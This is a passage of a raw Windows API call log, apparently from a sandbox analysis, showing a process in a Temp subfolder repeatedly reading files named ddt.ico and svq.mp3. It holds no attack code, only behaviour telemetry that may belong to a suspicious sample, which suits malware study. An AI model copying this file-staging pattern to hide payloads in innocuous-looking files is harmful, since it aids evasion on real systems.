lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.714] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.714] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.715] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.715] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.715] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.715] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.715] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.715] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.715] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.715] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.716] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.716] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.716] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.717] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.717] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.717] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.717] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.717] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.717] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.717] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.717] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.717] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.717] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.718] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.718] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.718] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.718] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.718] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.718] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.718] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.718] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.718] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.718] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.719] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.719] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.719] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.719] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.719] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.719] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.719] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.719] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.719] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.719] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.720] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.720] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.720] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.720] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.720] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.720] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.720] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.720] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.720] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.720] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.720] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.721] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.721] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.721] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.721] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.721] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.721] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.721] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.721] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.721] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.721] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.722] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.722] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.722] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.722] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.722] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.722] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.722] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.722] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.722] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.722] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.722] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.723] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.723] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.723] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.723] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.723] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.723] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.723] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.723] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.723] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.723] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.724] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.724] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.724] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.724] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.724] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.724] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.724] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.724] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.724] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.724] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.724] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.725] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.725] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.725] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.725] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.725] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.725] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.726] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.726] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.726] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.726] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.726] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: 